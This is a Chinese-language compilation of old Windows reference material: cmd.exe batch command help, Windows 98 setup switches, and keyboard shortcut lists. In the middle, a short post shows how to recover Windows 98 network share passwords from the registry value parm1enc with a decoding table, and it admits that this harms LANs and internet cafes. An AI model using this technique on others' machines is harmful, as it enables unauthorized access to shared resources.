    if "%VAR%" == "before" (
        set VAR=after
        if "!VAR!" == "after" @echo If you see this, it worked
    )
    set LIST=
    for %i in (*) do set LIST=!LIST! %i
    echo %LIST%
    如果命令扩展名被启用，有几个动态环境变量可以被扩展，但不会出现在 SET 显示的变量列表中。每次变量数值被扩展时，这些变量数值都会被动态计算。如果用户用这些名称中任何一个定义变量，那个定义会替代下面描述的动态定义:
    %CD% - 扩展到当前目录字符串。

    %DATE% - 用跟 DATE 命令同样的格式扩展到当前日期。

    %TIME% - 用跟 TIME 命令同样的格式扩展到当前时间。

    %RANDOM% - 扩展到 0 和 32767 之间的任意十进制数字。

    %ERRORLEVEL% - 扩展到当前 ERRORLEVEL 数值。

    %CMDEXTVERSION% - 扩展到当前命令处理器扩展名版本号。

    %CMDCMDLINE% - 扩展到调用命令处理器的原始命令行。

    9、SETLOCAL
    开始批处理文件中环境改动的本地化操作。在执行 SETLOCAL 之后所做的环境改动只限于批处理文件。要还原原先的设置，必须执行 ENDLOCAL。达到批处理文件结尾时，对于该批处理文件的每个尚未执行的 SETLOCAL 命令，都会有一个隐含的 ENDLOCAL 被执行。
    SETLOCAL
    如果命令扩展名被启用，SETLOCAL 会如下改变:
    SETLOCAL 批命令现在可以接受可选参数:
ENABLEEXTENSIONS / DISABLEEXTENSIONS
        启动或停用命令处理器扩展名。详细信息，请参阅 CMD /?。
        ENABLEDELAYEDEXPANSION / DISABLEDELAYEDEXPANSION
            启动或停用延缓环境变量扩展名。详细信息，请
            参阅 对SET的介绍 。
    无论在 SETLOCAL 命令之前它们的设置是什么，这些修改会一直保留到匹配的 ENDLOCAL 命令。
    如果有一个参数，SETLOCAL 命令将设置 ERRORLEVEL 的值。
    如果有两个有效参数中的一个，该值则为零。用下列技巧，您可以在批脚本中使用这个来决定扩展名是否可用:
    VERIFY OTHER 2>nul
    SETLOCAL ENABLEEXTENSIONS
    IF ERRORLEVEL 1 echo Unable to enable extensions

    这个方法之所以有效，是因为在 CMD.EXE 的旧版本上，SETLOCAL不设置 ERRORLEVEL 值。具有不正确参数的 VERIFY 命令将ERRORLEVEL 值初始化成非零值。

    10、ENDLOCAL
    结束批处理文件中环境改动的本地化操作。在执行ENDLOCAL 之后所做的环境改动不再仅限于批处理文件。批处理文件结束后，原先的设置无法还原。
    ENDLOCAL
    如果命令扩展名被启用，ENDLOCAL 会如下改变:
    如果相应的 SETLOCAL 用新的 ENABLEEXTENSIONS 或DISABLEEXTENSIONS 选项启用或停用了命令扩展名，那么，在ENDLOCAL 之后，命令扩展名的启用/停用状态会还原到执行相应的 SETLOCAL 命令前的状态。

    11、IF
    执行批处理程序中的条件处理。

    IF [NOT] ERRORLEVEL number command
    IF [NOT] string1==string2 command
    IF [NOT] EXIST filename command

    NOT　　　　　　指定只有条件为 false 的情况下， Windows XP 才
                   应该执行该命令。

    ERRORLEVEL number 如果最后运行的程序返回一个等于或大于指定数字的退出编码，指定条件为 true。

    string1==string2 如果指定的文字字符串匹配，指定条件为 true。

    EXIST filename　　如果指定的文件名存在，指定条件为 true。

    command　　　　　如果符合条件，指定要执行的命令。如果指定的
条件为 FALSE，命令后可跟一个执行 ELSE
关键字后的命令的 ELSE 命令。

    ELSE 子句必须在 IF 之后出现在同一行上。例如:

    IF EXIST filename. (
        del filename.
    ) ELSE (
        echo filename. missing.
    )

    因为 del 命令需要用一个新行终止，以下子句不会有效:

    IF EXIST filename. del filename. ELSE echo filename. missing

    由于 ELSE 命令必须与 IF 命令的尾端在同一行上，以下子句也不会有效:

    IF EXIST filename. del filename.
    ELSE echo filename. missing

    如果都放在同一行上，以下子句有效:

    IF EXIST filename. (del filename.) ELSE echo filename. missing

    如果命令扩展名被启用，IF 会如下改变:

    IF string1 compare-op string2 command
    IF CMDEXTVERSION number command
    IF DEFINED variable command

    其中，比较运算符可以是:

    EQU - 等于
    NEQ - 不等于
    LSS - 小于
    LEQ - 小于或等于
    GTR - 大于
    GEQ - 大于或等于

    及 /I 开关；如果该开关被指定，则说明要进行的字符串比较不分大小写。/I 开关可以用于 IF 的 string1==string2 的形式上。这些比较都是通用的；原因是，如果 string1 和 string2 都是由数字组成的，字符串会被转换成数字，进行数字比较。

    CMDEXTVERSION 条件的作用跟 ERRORLEVEL 的一样，除了它是在跟与命令扩展名有关联的内部版本号比较。第一个版本是 1。每次对命令扩展名有相当大的增强时，版本号会增加一个。
    命令扩展名被停用时，CMDEXTVERSION 条件不是真的。

    如果已定义环境变量，DEFINED 条件的作用跟 EXISTS 的一样，除了它取得一个环境变量，返回的结果是 true。
    如果没有名为 ERRORLEVEL 的环境变量，%ERRORLEVEL%会扩充为 ERROLEVEL 当前数值的字符串表达式；否则，您会得到其数值。运行程序后，以下语句说明 ERRORLEVEL 的用法:

    goto answer%ERRORLEVEL%
    :answer0
echo Program had return code 0
    :answer1
    echo Program had return code 1

    您也可以使用以上的数字比较:

    IF %ERRORLEVEL% LEQ 1 goto okay

    如果没有名为 CMDCMDLINE 的环境变量，%CMDCMDLINE%将在 CMD.EXE 进行任何处理前扩充为传递给 CMD.EXE 的原始命令行；否则，您会得到其数值。

    如果没有名为 CMDEXTVERSION 的环境变量，%CMDEXTVERSION% 会扩充为 CMDEXTVERSION 当前数值的
字串符表达式；否则，您会得到其数值。

    12、FOR
    FOR %variable IN (set) DO command [command-parameters]

    %variable 指定一个单一字母可替换的参数。
    (set)　　　指定一个或一组文件。可以使用通配符。
    command　　指定对每个文件执行的命令。
    command-parameters
            为特定命令指定参数或命令行开关。

    在批处理文件中使用 FOR 命令时，指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的，所以 %i 不同于 %I.如果命令扩展名被启用，下列额外的 FOR 命令格式会受到支持:

    FOR /D %variable IN (set) DO command [command-parameters]

    如果集中包含通配符，则指定与目录名匹配，而不与文件名匹配。

    FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

    检查以 [drive:]path 为根的目录树，指向每个目录中的FOR 语句。如果在 /R 后没有指定目录，则使用当前目录。如果集仅为一个单点(.)字符，则枚举该目录树。

    FOR /L %variable IN (start,step,end) DO command [command-parameters]

    该集表示以增量形式从开始到结束的一个数字序列。
    因此，(1,1,5) 将产生序列 1 2 3 4 5，(5,-1,1) 将产生序列 (5 4 3 2 1)。

    FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
    FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
    FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

    或者，如果有 usebackq 选项:

    FOR /F ["options"] %variable IN (file-set) DO command [command-parameters]
    FOR /F ["options"] %variable IN ("string") DO command [command-parameters]
    FOR /F ["options"] %variable IN ('command') DO command [command-parameters]

    filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前，每份文件都已被打开、读取并经过处理。
    处理包括读取文件，将其分成一行行的文字，然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式，/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

        eol=c　　　　　　- 指一个行注释字符的结尾(就一个)
        skip=n　　 　　　- 指在文件开始时忽略的行数。
        delims=xxx　　　 - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
        tokens=x,y,m-n　 - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的分配。m-n格式为一个范围。通过 nth 符号指定 mth。如果符号字符串中的最后一个字符星号，那么额外的变量将在最后一个符号解析之后分配并接受行的保留文本。
        usebackq　　　　 - 指定新语法已在下类情况中使用:
                        在作为命令执行一个后引号的字符串并且一个单引号字符为文字字符串命令并允许在 filenameset中使用双引号扩起文件名称。

    某些范例可能有助:

    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k

    会分析 myfile.txt 中的每一行，忽略以分号打头的那些行，将每行中的第二个和第三个符号传递给 for 程序体；用逗号和/或空格定界符号。请注意，这个 for 程序体的语句引用 %i 来取得第二个符号，引用 %j 来取得第三个符号，引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名，您需要用双引号将文件名括起来。为了用这种方式来使用双引号，您还需要使用 usebackq 选项，否则，双引号会被理解成是用作定义某个要分析的字符串的。

    %i 专门在 for 语句中得到说明，%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号，只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住，FOR 变量是单一字母、分大小写和全局的；而且，同时不能有 52 个以上都在使用中。

    您还可以在相邻字符串上使用 FOR /F 分析逻辑；方法是，用单引号将括号之间的 filenameset 括起来。这样，该字符串会被当作一个文件中的一个单一输入行。

    最后，您可以用 FOR /F 命令来分析命令的输出。方法是，将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行，传递到一个子 CMD.EXE，其输出会被抓进内存，并被当作文件分析。因此，以下例子:

    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    会枚举当前环境中的环境变量名称。

    另外，FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:

    ~I　　　　- 删除任何引号(")，扩充 %I
    %~fI　　　- 将 %I 扩充到一个完全合格的路径名
    %~dI　　　- 仅将 %I 扩充到一个驱动器号
    %~pI　　　- 仅将 %I 扩充到一个路径
    %~nI　　　- 仅将 %I 扩充到一个文件名
    %~xI　　　- 仅将 %I 扩充到一个文件扩展名
    %~sI　　　- 扩充的路径只含有短名
    %~aI　　　- 将 %I 扩充到文件的文件属性
    %~tI　　　- 将 %I 扩充到文件的日期/时间
    %~zI　　　- 将 %I 扩充到文件的大小
    %~$PATH - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量名未被定义，或者没有找到文件，此组合键会扩充到空字符串

    可以组合修饰符来得到多重结果:

    %~dpI　　　- 仅将 %I 扩充到一个驱动器号和路径
    %~nxI　　　- 仅将 %I 扩充到一个文件名和扩展名
    %~fsI　　　- 仅将 %I 扩充到一个带有短名的完整路径名
    %~dp$PATH:i - 查找列在路径环境变量的目录，并将 %I 扩充到找到的第一个驱动器号和路径。
    %~ftzaI　　- 将 %I 扩充到类似输出线路的 DIR

    在以上例子中，%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读，而且避免与不分大小写的组合键混淆。

    13、CALL
    从批处理程序调用另一个批处理程序。

    CALL [drive:][path]filename [batch-parameters]

    batch-parameters 指定批处理程序所需的命令行信息。

    如果命令扩展名被启用，CALL 会如下改变:

    CALL 命令现在将卷标当作 CALL 的目标接受。语法是:

    CALL:label arguments

    一个新的批文件上下文由指定的参数所创建，控制在卷标被指定后传递到语句。您必须通过达到批脚本文件末两次来 "exit" 两次。
    第一次读到文件末时，控制会回到 CALL 语句的紧后面。第二次会退出批脚本。键入 GOTO /?，参看 GOTO : EOF 扩展名的描述，此描述允许您从一个批脚本返回。

    另外，批脚本文本参数参照(%0、%1、等等)已如下改变:

    批脚本里的 %* 指出所有的参数(如 %1 %2 %3 %4 %5 ...)

    批参数(%n)的替代已被增强。您可以使用以下语法:

    %~1　　　　- 删除引号(")，扩充 %1
    %~f1　　　 - 将 %1 扩充到一个完全合格的路径名
    %~d1　　　 - 仅将 %1 扩充到一个驱动器号
    %~p1　　　 - 仅将 %1 扩充到一个路径
    %~n1　　　 - 仅将 %1 扩充到一个文件名
    %~x1　　　 - 仅将 %1 扩充到一个文件扩展名
    %~s1　　　 - 扩充的路径指含有短名
    %~a1　　 　- 将 %1 扩充到文件属性
    %~t1　　　 - 将 %1 扩充到文件的日期/时间
    %~z1　　　 - 将 %1 扩充到文件的大小
    %~$PATH : 1 - 查找列在 PATH 环境变量的目录，并将 %1扩充到找到的第一个完全合格的名称。如果环境 变量名未被定义，或者没有找到文件，此组合键会扩充到空字符串可以组合修定符来取得多重结果:

    %~dp1　　　- 只将 %1 扩展到驱动器号和路径
    %~nx1　　　- 只将 %1 扩展到文件名和扩展名
    %~dp$PATH:1- 在列在 PATH 环境变量中的目录里查找 %1，并扩展到找到的第一个文件的驱动器号和路径。
    %~ftza1　　- 将 %1 扩展到类似 DIR 的输出行。

    在上面的例子中，%1 和 PATH 可以被其他有效数值替换。
    %~ 语法被一个有效参数号码终止。%~ 修定符不能跟 %*
    使用

    14、SHIFT
    更改批处理文件中可替换参数的位置。
    SHIFT [/n]
    如果命令扩展名被启用，SHIFT 命令支持/n 命令行开关；该命令行开关告诉命令从第 n 个参数开始移位；n 介于零和八之间。例如:
    SHIFT /2
    会将 %3 移位到 %2，将 %4 移位到 %3，等等；并且不影响 %0 和 %1。

    15、GOTO
    将 cmd.exe 导向到批处理程序中带标签的行。

    GOTO label

    label　　指定批处理程序中用作标签的文字字符串。

    标签必须单独一行，并且以冒号打头。

    如果命令扩展名被启用，GOTO 会如下改变:

    GOTO 命令现在接受目标标签 :EOF，这个标签将控制转移到当前批脚本文件的结尾。不定义就退出批脚本文件，这是一个容易的办法。有关能使该功能有用的 CALL 命令的扩展名描述，请参考CALL的介绍

    16、START (同时包括对外部命令调用所做的更改)
    启动另一个窗口运行指定的程序或命令。

    START ["title"] [/Dpath] [/MIN] [/MAX] [/SEPARATE | /SHARED]
      [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]
      [/WAIT] [command/program]
      [parameters]

    "title"　　在窗口标题栏中显示的标题。
    path　　　 起始目录
    B　　　　　在不创建新窗口的情况下开始应用程序。 除非启动 ^C 处理，否则该应用程序会忽略 ^C 处理；^Break 是唯一可以中断该应用程序的方式
    I　　　　　新环境是传递给 cmd.exe 的原始环境，而不是当前环境
    MIN　　　　开始时窗口最小化
    MAX　　　　开始时窗口最大化
    SEPARATE　　在分开的空间内开始 16 位 Windows 程序
    SHARED　　　在分共享的空间内开始 16 位 Windows 程序
    LOW　　　　 在 IDLE 优先级类别开始应用程序
    NORMAL　　　在 NORMAL 优先级类别开始应用程序
    HIGH　　　　在 HIGH 优先级类别开始应用程序
    REALTIME　　在 REALTIME 优先级类别开始应用程序
    ABOVENORMAL 在 ABOVENORMAL 优先级类别开始应用程序
    BELOWNORMAL 在 BELOWNORMAL 优先级类别开始应用程序
    WAIT　　　　启动应用程序并等候它结束
    command/program 如果是内部 cmd 命令或批文件，那么该命令处理器是用 /K 命令行开关运行 cmd.exe 的。这表示该窗口在命令运行后仍然存在。

            如果不是内部 cmd 命令或批文件，则是一个程序，并作为窗口应用程序或控制台应用程序运行。

    parameters　这些为传送到命令/程序的参数如果命令扩展名被启用，通过命令行或 START 命令的外部命令调用会如下改变:

    将文件名作为命令键入，非可执行文件 可以通过文件关联调用。
    (例如， WORD.DOC 会调用跟 .DOC 文件扩展名关联的应用程序)。
    关于如何从命令脚本内部创建这些关联，请参阅 ASSOC 和FTYPE 命令。

    执行的应用程序是 32-位 GUI 应用程序时，CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行，该新行为则不会发生。

    如果执行的命令行的第一个符号是不带扩展名或路径修饰符的字符串 "CMD"，"CMD" 会被COMSPEC 变量的数值所替换。这防止从当前目录抓出 CMD.EXE。

    如果执行的命令行的第一个符号没有扩展名，CMD.EXE 会使用PATHEXT 环境变量的数值来决定要以什么顺序寻找哪些扩展名。PATHEXT 变量的默认值是:

        .COM;.EXE;.BAT;.CMD

    请注意，该语法跟 PATH 变量的一样，分号隔开不同的元素。

    查找可执行文件时，如果没有相配的扩展名，看一看该名称是否与目录名相配。如果确实如此，START 会在那个路径上调用EXPlorer。如果从命令行执行，则等同于对那个路径作 CD /D。

    17、ASSOC
    显示或修改文件扩展名关联ASSOC [.ext[=[fileType]]]
    .ext　　　指定跟文件类型关联的文件扩展名
    fileType　指定跟文件扩展名关联的文件类型
    键入 ASSOC 而不带参数，显示当前文件关联。如果只用文件扩展名调用 ASSOC，则显示那个文件扩展名的当前文件关联。如果不为文件类型指定任何参数，命令会删除文件扩展名的关联。

    18、FTYPE
    显示或修改用在文件扩展名关联中的文件类型FTYPE [fileType[=[openCommandString]]]
    fileType　指定要检查或改变的文件类型
    openCommandString 指定调用这类文件时要使用的开放式命令。
    键入 FTYPE 而不带参数来显示当前有定义的开放式命令字符串的文件类型。 FTYPE 仅用一个文件类型启用时，它显示那个文件类型目前的开放式命令字符串。如果不为开放式命令字符串指定，FTYPE 命令将删除那个文件类型的开放式命令字符串。在一个开放式命令字符串之内，命令字符串 %0 或 %1 被通过关联调用的文件名所代替。%* 得到所有的参数，%2 得到第一个参数，%3 得到第二个，等等。%~n 得到其余所有以 nth 参数打头的参数；n 可以是从 2 到 9 的数字。例如:
    ASSOC .pl=PerlScript
    FTYPE PerlScript=perl.exe %1 %*
    允许您启用以下 Perl 脚本:
    script.pl 1 2 3
    如果不想键入扩展名，则键入以下字符串:
    set PATHEXT=.pl;%PATHEXT%
    被启动的脚本如下:
    script 1 2 3


Windows98的setup命令参数一览

Author:江雁

参数 含义

/? setup命令的部分命令行参数的使用及语法的有关帮助。

/C 不安装Smartdrive磁盘缓存。

/D 忽略现有版本Windows的初始设置。如果用户是在Windows系统文件缺少或损坏时重新安装Windows时可使用该参数。

/DOMAIN: domain_name 设置Microsoft网络用户的Windows NT的合法登录域名为domain_name。

/F 忽略在文件名的本地缓存中寻找文件。这样虽然安装时间稍长，但却占用极少的内存。

/IA 不运行Setup.inf文件中的［AfterProvider］节。

/IB 不运行Setup.inf文件中的［BeforeProvider］节。

/IC 如果使用该参数并未设置RMDrivers=1，则启动时不运行Config.sys/Autoexec.bat文件。

/ID 忽略检查安装Windows98所需的最小磁盘空间。

/IE 不创建启动盘。如使用此参数，则相应也不创建windowscommandebd文件夹。

/IF 快速安装。

/IG 允许在一些含较早版本BIOS的Gateway和Micro计算机上运行Setup。

/IH 在显着位置运行Scandisk。使用该参数有利于用户在运行Scandisk过程中或发生错误时清楚了解运行结果。

/IL 安装Logitech鼠标驱动。如果用户使用的是Logitech Series C鼠标，可使用该参数。

/IM 忽略对低位常规内存的检查

/IN 不执行网络安装程序。跳过网络软件和网络设置画面显示。

/IQ 不检查交叉链接文件。

/IR 不更新主引导纪录（MBR）。

/IS 不运行Scandisk。

/IV Windows升级安装时跳过显示安装画面。

/M 跳过安装时音频（.wav）文件的播放。

/N 没有鼠标时运行Setup。

/NA#

# =0 缺省

# =1 不检查基于Windows的程序，排列基于MS-DOS的程序

# =2不检查基于MS-DOS的程序，排列基于的Windows程序

# =3不检查基于Windows和MS-DOS的程序

/ND 忽略Migration.dll文件，并强制Windows98覆盖较新的文件

/NF 在“复制Windows98文件至你的计算机”结束后，不显示“从驱动器A中移去软盘”。一般在用户用可启动光盘安装Windows98时使用该参数。等价于在Msbatch.i

nf文件中设置BootCD=1。

/NH 在Windows95用户界面运行Setup时，不运行Hwinfo.exe。

/nm 忽略检查运行Windows98所需的最低要求处理器（66MHz 486）。

/NOSTART 复制安装Windows98所需的动态链接库文件(DLLs)的最小安装版本，然后不安装Windows98而直接退回MS-DOS状态。

/NR 忽略注册表检查。

/NX 不检查正在运行的Setupx的版本。

/PI 保留硬件的特定设置（硬件未使用缺省设置）。有的版本的BIOS要求硬件根据特定的设置工作。默认情况下，Setup删除硬件的特定设置从而造成部分硬件不能正常工作。

/PJ 默认安装Advanced Configuration and Power Interface (ACPI) script_filename使用指定位置的包含安装选项的宏文件自动安装Windows98。

/SRCDIR 指定Windows98安装文件的初始目录

/S filename 安装时装载指定的SETUP.INF文件。

/T:tempdir 为安装程序指定复制临时文件的目录。如果目录不存在，将自动创建该目录。若该目录存在，则此目录中的任何旧文件都将被删除。

/U:UPI 指定UPI

/IV 在安装过程跳过公告板显示

/IW 在安装过程跳过许可协议显示

/IX 忽略字符集检查


Windows98注册表里查共享密码

By catsun@cners.com

大家好，下面的方法教您查看您机器的共享密码，对LAN和网吧有危害。

查看注册表下面的地址：

HKEY_LOCAL_MACHINE\SOFTWARE\
Microsoft\Windows\CurrentVersion\Network\LanMan

看 parm1enc (根据本地机器的共享数而定)

假设您看到parmienc的键值为 "74d80e"

把它拆为两个字节组合 "74 d8 0e"

看下面的表：

a[1] = 74, b[2] = d8, and c[3] = 0e

将发现密码为： ABC

A =74 =db =0c =e7 =12 =e8 =95 =2b
B =77 =d8 =0f =e4 =11 =eb =96 =28
C =76 =d9 =0e =e5 =10 =ea =97 =29
D =71 =de =09 =e2 =17 =ed =90 =2e
E =70 =df =08 =e3 =16 =ec =91 =2f
F =73 =dc =0b =e0 =15 =ef =92 =2c
G =72 =dd =0a =e1 =14 =ee =93 =2d
H =7d =d2 =05 =ee =1b =e1 =9c =22
I =7c =d3 =04 =ef =1a =e0 =9d =23
J =7f =d0 =07 =ec =19 =e3 =9e =20
K =7e =d1 =06 =ed =18 =e2 =9f =21
L =79 =d6 =01 =ea =1f =e5 =98 =26
M =78 =d7 =00 =eb =1e =e4 =99 =27
N =7b =d4 =03 =e8 =1d =e7 =9a =24
O =7a =d5 =02 =e9 =1c =e6 =9b =25
P =65 =ca =1d =f6 =03 =f9 =84 =3a
Q =64 =cb =1c =f7 =02 =f8 =85 =3b
R =67 =c8 =1f =f4 =01 =fb =86 =38
S =66 =c9 =1e =f5 =00 =fa =87 =39
T =61 =ce =19 =f2 =07 =fd =80 =3e
U =60 =cf =18 =f3 =06 =fc =81 =3f
V =63 =cc =1b =f0 =05 =ff =82 =3c
W =62 =cd =1a =f1 =04 =fe =83 =3d
X =6d =c2 =15 =fe =0b =f1 =8c =32
Y =6c =c3 =14 =ff =0a =f0 =8d =33
Z =6f =c0 =17 =fc =09 =f3 =8e =30
space =15 =ba =6d =86 =73 =89 =f4 =4a
1 =04 =ab =7c =97 =62 =98 =e5 =5b
2 =07 =a8 =7f =94 =61 =9b =e6 =58
3 =06 =a9 =7e =95 =60 =9a =e7 =59
4 =01 =ae =79 =92 =67 =9d =e0 =5e
5 =00 =af =78 =93 =66 =9c =e1 =5f
6 =03 =ac =7b =90 =65 =9f =e2 =5c
7 =02 =ad =7a =91 =64 =9e =e3 =5d
8 =0d =a2 =75 =9e =6b =91 =ec =52
9 =0c =a3 =74 =9f =6a =90 =ed =53
0 =05 =aa =7d =96 =63 =99 =e4 =5a
~ =4b =e4 =33 =d8 =2d =d7 =aa =14
` =55 =fa =2d =c6 =33 =c9 =b4 =0a
! =14 =bb =6c =87 =72 =88 =f5 =4b
@ =75 =da =0d =e6 =13 =e9 =94 =2a
# =16 =b9 =6e =85 =70 =8a =f7 =49
$ =11 =be =69 =82 =77 =8d =f0 =4e
% =10 =bf =68 =83 =76 =8c =f1 =4f
^ =6b =c4 =13 =f8 =0d =f7 =8a =34
& =13 =bc =6b =80 =75 =8f =f2 =4c
* =1f =b0 =67 =8c =79 =83 =fe =40
( =1d =b2 =65 =8e =7b =81 =fc =42
) =1c =b3 =64 =8f =7a =80 =fd =43
- =18 =b7 =60 =8b =7e =84 =f9 =47
_ =6a =c5 =12 =f9 =0c =f6 =8b =35
+ =1e =b1 =66 =8d =78 =82 =ff =41
= =08 =a7 =70 =9b =6e =94 =e9 =57
[ =6e =c1 =16 =fd =08 =f2 =8f =31
] =68 =c7 =10 =fb =0e =f4 =89 =37
{ =4e =e1 =36 =dd =28 =d2 =af =11
} =48 =e7 =30 =db =2e =d4 =a9 =17
; =0e =a1 =76 =9d =68 =92 =ef =51
: =0f =a0 =77 =9c =69 =93 =ee =50
' =12 =bd =6a =81 =74 =8e =f3 =4d
" =17 =b8 =6f =84 =71 =8b =f6 =48
, =19 =b6 =61 =8a =7f =85 =f8 =46
< =09 =a6 =71 =9a =6f =95 =e8 =56
. =1b =b4 =63 =88 =7d =87 =fa =44
> =0b =a4 =73 =98 =6d =97 =ea =54
? =0a =a5 =72 =99 =6c =96 =eb =55
/ =1a =b5 =62 =89 =7c =86 =fb =45
\ =69 =c6 =11 =fa =0f =f5 =88 =36
| =49 =e6 =31 =da =2f =d5 =a8 =16


windows快捷键大全

F1　　　　　　　　　　　显示当前程序或者windows的帮助内容。
F2　　　　　　　　　　　当你选中一个文件的话，这意味着“重命名”
F3　　　　　　　　　　　当你在桌面上的时候是打开“查找：所有文件”
                        对话框
F10或ALT　　　　　　　　激活当前程序的菜单栏
windows键或CTRL+ESC　　 打开开始菜单
CTRL+ALT+DELETE　　　　 在win9x中打开关闭程序对话框
DELETE　　　　　　　　　删除被选择的选择项目，如果是文件，将被放
                        入回收站
SHIFT+DELETE　　　　　　删除被选择的选择项目，如果是文件，将被直
                        接删除而不是放入回收站
CTRL+N　　　　　　　　　新建一个新的文件
CTRL+O　　　　　　　　　打开“打开文件”对话框
CTRL+P　　　　　　　　　打开“打印”对话框
CTRL+S　　　　　　　　　保存当前操作的文件
CTRL+X　　　　　　　　　剪切被选择的项目到剪贴板
CTRL+INSERT 或 CTRL+C　 复制被选择的项目到剪贴板
SHIFT+INSERT 或 CTRL+V　粘贴剪贴板中的内容到当前位置
ALT+BACKSPACE 或 CTRL+Z 撤销上一步的操作
ALT+SHIFT+BACKSPACE　　 重做上一步被撤销的操作
Windows键+M　　　　　　 最小化所有被打开的窗口。
Windows键+CTRL+M　　　　重新将恢复上一项操作前窗口的大小和位置
Windows键+E　　　　　　 打开资源管理器
Windows键+F　　　　　　 打开“查找：所有文件”对话框
Windows键+R　　　　　　 打开“运行”对话框
Windows键+BREAK　　　　 打开“系统属性”对话框
Windows键+CTRL+F　　　　打开“查找：计算机”对话框
SHIFT+F10或鼠标右击　　 打开当前活动项目的快捷菜单
SHIFT　　　　　　　　　 在放入CD的时候按下不放，可以跳过自动播放
                        CD。在打开word的时候按下不放，可以跳过自
                        启动的宏
ALT+F4　　　　　　　　　关闭当前应用程序
ALT+SPACEBAR　　　　　　打开程序最左上角的菜单
ALT+TAB　　　　　　　　 切换当前程序
ALT+ESC　　　　　　　　 切换当前程序
ALT+ENTER　　　　　　　 将windows下运行的MSDOS窗口在窗口和全屏幕
                        状态间切换
PRINT SCREEN　　　　　　将当前屏幕以图象方式拷贝到剪贴板
ALT+PRINT SCREEN　　　　将当前活动程序窗口以图象方式拷贝到剪贴板
CTRL+F4　　　　　　　　 关闭当前应用程序中的当前文本（如word中）
CTRL+F6　　　　　　　　 切换到当前应用程序中的下一个文本（加shift
                        可以跳到前一个窗口）

在IE中：

ALT+RIGHT ARROW　　　　 显示前一页（前进键）
ALT+LEFT ARROW　　　　　显示后一页（后退键）
CTRL+TAB　　　　　　　　在页面上的各框架中切换（加shift反向）
F5　　　　　　　　　　　刷新
CTRL+F5　　　　　　　　 强行刷新
目的快捷键

激活程序中的菜单栏 F10

执行菜单上相应的命令 ALT+菜单上带下划线的字母

关闭多文档界面程序中的当

前窗口 CTRL+ F4

关闭当前窗口或退出程序 ALT+ F4

复制 CTRL+ C

剪切 CTRL+ X

删除 DELETE

显示所选对话框项目的帮助 F1

显示当前窗口的系统菜单 ALT+空格键

显示所选项目的快捷菜单 SHIFT+ F10

显示“开始”菜单 CTRL+ ESC

显示多文档界面程序的系统

菜单 ALT+连字号(-)

粘贴 CTR L+ V

切换到上次使用的窗口或者

按住 ALT然后重复按TAB，

切换到另一个窗口 ALT+ TAB

撤消 CTRL+ Z

二、使用“Windows资源管理器”的快捷键

目的快捷键

如果当前选择展开了,要折

叠或者选择父文件夹左箭头

折叠所选的文件夹 NUM LOCK+负号(-)

如果当前选择折叠了，要展开

或者选择第一个子文件夹右箭头

展开当前选择下的所有文件夹 NUM LOCK+*

展开所选的文件夹 NUM LOCK+加号(+)

在左右窗格间切换 F6

三、使用 WINDOWS键

可以使用 Microsoft自然键盘或含有 Windows徽标键的其他任何兼容键盘的以下快捷键。

目的快捷键

在任务栏上的按钮间循环 WINDOWS+ TAB

显示“查找：所有文件” WINDOWS+ F

显示“查找：计算机” CTRL+ WINDOWS+ F

显示“帮助” WINDOWS+ F1

显示“运行”命令 WINDOWS+ R

显示“开始”菜单 WINDOWS

显示“系统属性”对话框 WINDOWS+ BREAK

显示“Windows资源管理器” WINDOWS+ E

最小化或还原所有窗口 WINDOWS+ D

撤消最小化所有窗口 SHIFT+ WINDOWS+ M

四、使用“我的电脑”和“Windows资源管理器”的快捷键

目的快捷键

关闭所选文件夹及其所有父

文件夹按住 SHIFT键再单击“关闭按钮（仅适用于“我的电脑”）

向后移动到上一个视图 ALT+左箭头

向前移动到上一个视图 ALT+右箭头

查看上一级文件夹 BACKSPACE

五、使用对话框中的快捷键

目的快捷键

取消当前任务 ESC

如果当前控件是个按钮，要

单击该按钮或者如果当前控

件是个复选框，要选择或清

除该复选框或者如果当前控

件是个选项按钮，要单击该

选项空格键

单击相应的命令 ALT+带下划线的字母

单击所选按钮 ENTER

在选项上向后移动 SHIFT+ TAB

在选项卡上向后移动 CTRL+ SHIFT+ TAB

在选项上向前移动 TAB

在选项卡上向前移动 CTRL+ TAB

如果在“另存为”或“打开”

对话框中选择了某文件夹，

要打开上一级文件夹 BACKSPACE

在“另存为”或“打开”对

话框中打开“保存到”或

“查阅” F4

刷新“另存为”或“打开”

对话框 F5

六、使用“桌面”、“我的电脑”和“Windows资源管理器”快捷键

选择项目时，可以使用以下快捷键。

目的快捷键

插入光盘时不用“自动播放”

功能按住 SHIFT插入 CD-ROM

复制文件按住 CTRL拖动文件

创建快捷方式按住 CTRL+SHIFT拖动文件

立即删除某项目而不将其放入 SHIFT+DELETE

“回收站”

显示“查找：所有文件” F3

显示项目的快捷菜单 APPLICATION键

刷新窗口的内容 F5

重命名项目 F2

选择所有项目 CTRL+ A

查看项目的属性 ALT+ ENTER或 ALT+双击

可将 APPLICATION键用于 Microsoft自然键盘或含有 APPLICATION键的其他兼容键

七、Microsoft放大程序的快捷键

这里运用Windows徽标键和其他键的组合。

快捷键目的

